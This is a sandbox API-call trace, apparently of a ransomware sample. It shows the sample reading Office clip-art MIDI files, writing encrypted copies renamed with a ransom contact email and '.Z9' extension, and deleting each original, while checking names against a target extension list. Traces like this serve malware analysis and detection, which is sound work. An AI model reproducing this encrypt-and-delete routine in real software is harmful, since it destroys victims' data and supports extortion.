	[0166.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.957] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=7768) returned 1
	[0166.957] CloseHandle (hObject=0x4cc) returned 1
	[0166.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220
	[0166.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.958] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.958] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.959] GetLastError () returned 0x0
	[0166.959] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1e58, lpOverlapped=0x0) returned 1
	[0166.962] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1e60, lpOverlapped=0x0) returned 1
	[0166.964] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.964] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.964] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.964] CloseHandle (hObject=0x4a4) returned 1
	[0166.964] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.964] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.969] CloseHandle (hObject=0x4cc) returned 1
	[0166.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1
	[0166.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.971] lstrlenW (lpString=".doc") returned 4
	[0166.971] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.971] lstrlenW (lpString=".docx") returned 5
	[0166.971] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0166.972] lstrlenW (lpString=".pdf") returned 4
	[0166.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.972] lstrlenW (lpString=".xls") returned 4
	[0166.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.972] lstrlenW (lpString=".xlsx") returned 5
	[0166.972] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0166.972] lstrlenW (lpString=".ppt") returned 4
	[0166.972] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.972] lstrlenW (lpString=".zip") returned 4
	[0166.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.972] lstrlenW (lpString=".rar") returned 4
	[0166.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.972] lstrlenW (lpString=".bz2") returned 4
	[0166.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.972] lstrlenW (lpString=".7z") returned 3
	[0166.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.973] lstrlenW (lpString=".dbf") returned 4
	[0166.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.973] lstrlenW (lpString=".1cd") returned 4
	[0166.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.973] lstrlenW (lpString=".jpg") returned 4
	[0166.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.973] lstrlenW (lpString=".doc") returned 4
	[0166.973] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.973] lstrlenW (lpString=".docx") returned 5
	[0166.973] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0166.973] lstrlenW (lpString=".pdf") returned 4
	[0166.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.973] lstrlenW (lpString=".xls") returned 4
	[0166.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.973] lstrlenW (lpString=".xlsx") returned 5
	[0166.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0166.974] lstrlenW (lpString=".ppt") returned 4
	[0166.974] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.974] lstrlenW (lpString=".zip") returned 4
	[0166.974] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.974] lstrlenW (lpString=".rar") returned 4
	[0166.974] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.974] lstrlenW (lpString=".bz2") returned 4
	[0166.974] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.974] lstrlenW (lpString=".7z") returned 3
	[0166.974] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.974] lstrlenW (lpString=".dbf") returned 4
	[0166.974] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.974] lstrlenW (lpString=".1cd") returned 4
	[0166.974] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0166.974] lstrlenW (lpString=".jpg") returned 4
	[0166.974] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.974] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.975] lstrlenW (lpString="PARNT_10.MID") returned 12
	[0166.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.977] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5393) returned 1
	[0166.977] CloseHandle (hObject=0x4cc) returned 1
	[0166.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220
	[0166.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.978] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.978] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.979] GetLastError () returned 0x0
	[0166.979] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1511, lpOverlapped=0x0) returned 1
	[0166.982] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1520, lpOverlapped=0x0) returned 1
	[0166.984] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.984] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.984] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.984] CloseHandle (hObject=0x4a4) returned 1
	[0166.984] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.984] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.989] CloseHandle (hObject=0x4cc) returned 1
	[0166.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1
	[0166.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.991] lstrlenW (lpString=".doc") returned 4
	[0166.991] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.991] lstrlenW (lpString=".docx") returned 5
	[0166.991] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0166.991] lstrlenW (lpString=".pdf") returned 4
	[0166.991] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.991] lstrlenW (lpString=".xls") returned 4
	[0166.991] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.991] lstrlenW (lpString=".xlsx") returned 5
	[0166.991] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0166.991] lstrlenW (lpString=".ppt") returned 4
	[0166.991] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.991] lstrlenW (lpString=".zip") returned 4
	[0166.991] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.991] lstrlenW (lpString=".rar") returned 4
	[0166.991] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.991] lstrlenW (lpString=".bz2") returned 4
	[0166.991] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.991] lstrlenW (lpString=".7z") returned 3
	[0166.991] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.991] lstrlenW (lpString=".dbf") returned 4
	[0166.991] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.991] lstrlenW (lpString=".1cd") returned 4
	[0166.992] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.992] lstrlenW (lpString=".jpg") returned 4
	[0166.992] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.992] lstrlenW (lpString=".doc") returned 4
	[0166.992] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.992] lstrlenW (lpString=".docx") returned 5
	[0166.992] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0166.992] lstrlenW (lpString=".pdf") returned 4
	[0166.992] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.992] lstrlenW (lpString=".xls") returned 4
	[0166.992] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.992] lstrlenW (lpString=".xlsx") returned 5
	[0166.992] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0166.992] lstrlenW (lpString=".ppt") returned 4
	[0166.992] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.992] lstrlenW (lpString=".zip") returned 4
	[0166.992] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.992] lstrlenW (lpString=".rar") returned 4
	[0166.992] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.992] lstrlenW (lpString=".bz2") returned 4
	[0166.993] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.993] lstrlenW (lpString=".7z") returned 3
	[0166.993] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.993] lstrlenW (lpString=".dbf") returned 4
	[0166.993] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.993] lstrlenW (lpString=".1cd") returned 4
	[0166.993] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0166.993] lstrlenW (lpString=".jpg") returned 4
	[0166.993] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.993] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.993] lstrlenW (lpString="ROAD_01.MID") returned 11
	[0166.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.079] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5983) returned 1
	[0167.091] CloseHandle (hObject=0x4d0) returned 1
	[0167.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220
	[0167.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.107] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.107] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.133] GetLastError () returned 0x0
	[0167.133] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x175f, lpOverlapped=0x0) returned 1
	[0167.135] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0167.136] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.136] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xea, lpOverlapped=0x0) returned 1
	[0167.136] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.136] CloseHandle (hObject=0x4b8) returned 1
	[0167.136] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.136] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.139] CloseHandle (hObject=0x4d0) returned 1
	[0167.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1
	[0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.144] lstrlenW (lpString=".doc") returned 4
	[0167.144] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.144] lstrlenW (lpString=".docx") returned 5
	[0167.145] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.145] lstrlenW (lpString=".pdf") returned 4
	[0167.145] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.145] lstrlenW (lpString=".xls") returned 4
	[0167.145] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.145] lstrlenW (lpString=".xlsx") returned 5
	[0167.145] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.145] lstrlenW (lpString=".ppt") returned 4
	[0167.145] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString=".zip") returned 4
	[0167.145] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.145] lstrlenW (lpString=".rar") returned 4
	[0167.145] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.145] lstrlenW (lpString=".bz2") returned 4
	[0167.145] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.145] lstrlenW (lpString=".7z") returned 3
	[0167.145] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString=".dbf") returned 4
	[0167.145] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString=".1cd") returned 4
	[0167.145] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString=".jpg") returned 4
	[0167.145] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.145] lstrlenW (lpString=".doc") returned 4
	[0167.145] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.145] lstrlenW (lpString=".docx") returned 5
	[0167.145] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.145] lstrlenW (lpString=".pdf") returned 4
	[0167.145] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.146] lstrlenW (lpString=".xls") returned 4
	[0167.146] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.146] lstrlenW (lpString=".xlsx") returned 5
	[0167.146] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.146] lstrlenW (lpString=".ppt") returned 4
	[0167.146] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.146] lstrlenW (lpString=".zip") returned 4
	[0167.146] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.146] lstrlenW (lpString=".rar") returned 4
	[0167.146] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.146] lstrlenW (lpString=".bz2") returned 4
	[0167.146] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.146] lstrlenW (lpString=".7z") returned 3
	[0167.146] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.146] lstrlenW (lpString=".dbf") returned 4
	[0167.146] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.146] lstrlenW (lpString=".1cd") returned 4
	[0167.146] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0167.146] lstrlenW (lpString=".jpg") returned 4
	[0167.146] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.146] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.146] lstrlenW (lpString="SAFRI_01.MID") returned 12
